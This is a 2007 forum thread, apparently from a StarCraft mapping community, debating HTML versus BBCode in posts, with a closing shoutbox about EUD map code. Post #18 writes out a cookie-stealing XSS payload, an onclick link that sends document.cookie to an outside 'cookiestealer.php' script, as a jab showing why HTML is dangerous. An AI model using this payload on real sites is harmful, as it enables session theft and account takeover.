HTML
This topic is locked. You can no longer write replies here.
Oct 11 2007, 10:33 pm
By: blacklight28
Pages: 1 2 3 >
 
Polls
HTML in SeN
HTML in SeN
Answer Votes Percentage % Voters
Yes 4
 
16%
None.
No 21
 
84%
None.
Please login to vote.
Poll has 25 votes. You can vote for at most 1 option(s).

Oct 11 2007, 10:33 pm blacklight28 Post #1



Is it possible to use HTML for everything except like quotes? HTML has less limitations and is cool. And this is my first poll so it might be screwed up... If it is, just don't answer.



None.

Oct 11 2007, 11:04 pm Money Post #2



You mean like HTML over bb-codes?

<b>bold</b>
<i>italic</i>
<u>underline</u>



None.

Oct 11 2007, 11:08 pm MrrLL Post #3



HTML is annoying.. and can lead to exploits. BBCode is much simpler and something that everyone knows how to use.



None.

Oct 11 2007, 11:12 pm InsolubleFluff Post #4



I know HTML, but not BB...

HTML would be a LOT easier.



None.

Oct 11 2007, 11:21 pm dumbducky Post #5



BB codes = [ url], [ quote], etc.



tits

Oct 11 2007, 11:22 pm blacklight28 Post #6



Quote from moneylover
You mean like HTML over bb-codes?

<b>bold</b>
<i>italic</i>
<u>underline</u>

Yes stuff like that. I think that would be much better.



None.

Oct 11 2007, 11:42 pm Money Post #7



I don't.

<marquee>

and other annoying shit.



None.

Oct 11 2007, 11:44 pm blacklight28 Post #8



Eh, I guess stuff like that would be annoying but wouldn't there be a way to like ban certain HTML codes?



None.

Oct 11 2007, 11:48 pm MrrLL Post #9



You can use HTML to embed videos and flash, and imbedding flash can lead to exploits by certain assholes. If you limit html to everything that's NOT bad, then you basically have BBCode with < > tags.

Let's not keep it complicated. BBCode ftw.



None.

Oct 12 2007, 12:56 am Minority Post #10



BBCodes also let you do much more complex things, like quotes and codeboxes. It all gets converted to HTML anyway.



None.

Oct 12 2007, 1:20 am Jello-Jigglers Post #11



It's a good idea but people get really annoying with html and always try to make everything that will give a man epilepsy... just too annoying for me, but if they could limit the things that worked I would pull for it cause I think it's pretty powerful code. :)



None.

Oct 12 2007, 2:24 am Moose Post #12

meme

No, not happening. Too exploitable, too risky, too easy to abuse, etc.




Oct 12 2007, 2:47 am DT_Battlekruser Post #13



Quote from Merrell
You can use HTML to embed videos and flash, and imbedding flash can lead to exploits by certain assholes. If you limit html to everything that's NOT bad, then you basically have BBCode with < > tags.

Let's not keep it complicated. BBCode ftw.

What's wrong with embedding a Java application? Or JavaScript? ;)



None.

Oct 13 2007, 3:38 am blacklight28 Post #14



Didn't I ask before if it's possible to ban certain codes.



None.

Oct 13 2007, 4:26 am MrrLL Post #15



Didn't you read when I SAID that if you get rid of all exploitable codes, it will be reduced to that of what BBCode has. You're.. worthless.



None.

Oct 13 2007, 6:44 am blacklight28 Post #16



Wow, no need to be so harsh, and you won't have basically BBCodes but with < > tags.



None.

Oct 13 2007, 1:10 pm Minority Post #17



Quote from Minority
BBCodes also let you do much more complex things, like quotes and codeboxes.
That's why you use BBCodes.



None.

Oct 13 2007, 1:16 pm Pyro-Fire Post #18



<a href="#" onclick="javascript:window.location='http://www.mywebsite.com/cookiestealer.php?cookie=' + document.cookie">Check out this awsome website!</a>

I now own your account. GG



None.

Oct 13 2007, 1:59 pm who Post #19



you people realize that it's not very hard to ban certain tags... but the problem is, it's much harder to create a quote in HTML.



None.

Oct 13 2007, 2:29 pm Minority Post #20



That's what we've been saying throughout this entire bloody thread.



None.

Options
Pages: 1 2 3 >
  Back to forum
Please log in to reply to this topic or to report it.
Members in this topic: None.
[2026-7-18. : 2:27 am]
Symmetry -- https://staredit.net/topic/18903/ THE REVIEWS ARE HERE! "ok these are pretty good memes" - ssj9Kevin
[2026-7-17. : 2:58 pm]
Ultraviolet -- Symmetry
Symmetry shouted: Man I wish we had this tech back in the day when people played ums lmao
fr fr
[2026-7-17. : 2:39 am]
Symmetry -- Man I wish we had this tech back in the day when people played ums lmao
[2026-7-16. : 6:28 am]
NudeRaider -- EUD actions, specifically. The conditions remained. Today we can even have actions again, but they're all virtualized/whitelisted (not sure on the actual technical implementation) so you can only use them for specific intended purposed, not arbitrary code injections.
[2026-7-16. : 6:26 am]
NudeRaider -- I mean yes, maps - through EUDs - were theoretically able to do that as well, but that was patched quickly.
[2026-7-16. : 6:25 am]
NudeRaider -- Symmetry
Symmetry shouted: Ohhh imagine a SC map that could delete itself
not the map, the editor
[2026-7-16. : 2:28 am]
Symmetry -- I vaguely remember Voy doing some ACE back in the day, but I had no idea EUDs could do that kind of shit. I am very much catching up on the technology
[2026-7-16. : 2:28 am]
Symmetry -- Ohhh imagine a SC map that could delete itself
[2026-7-15. : 8:51 pm]
NudeRaider -- Symmetry
Symmetry shouted: NudeRaider Is EUD editor capable of writing shit onto the player's harddrive? That seems like it would be dangerous
yeah an editor that isn't allowed to write files sounds rather pointless, so I'd assume it can. Like most other programs too btw. and yes, obviously that's dangerous, but also kinda necessary. MS introduced that virtualization for exactly that reason.
[2026-7-15. : 4:10 am]
Ultraviolet -- I don't think so. I think they shut that shit down after 1.16, maybe even earlier
Please log in to shout.


Members Online: Roy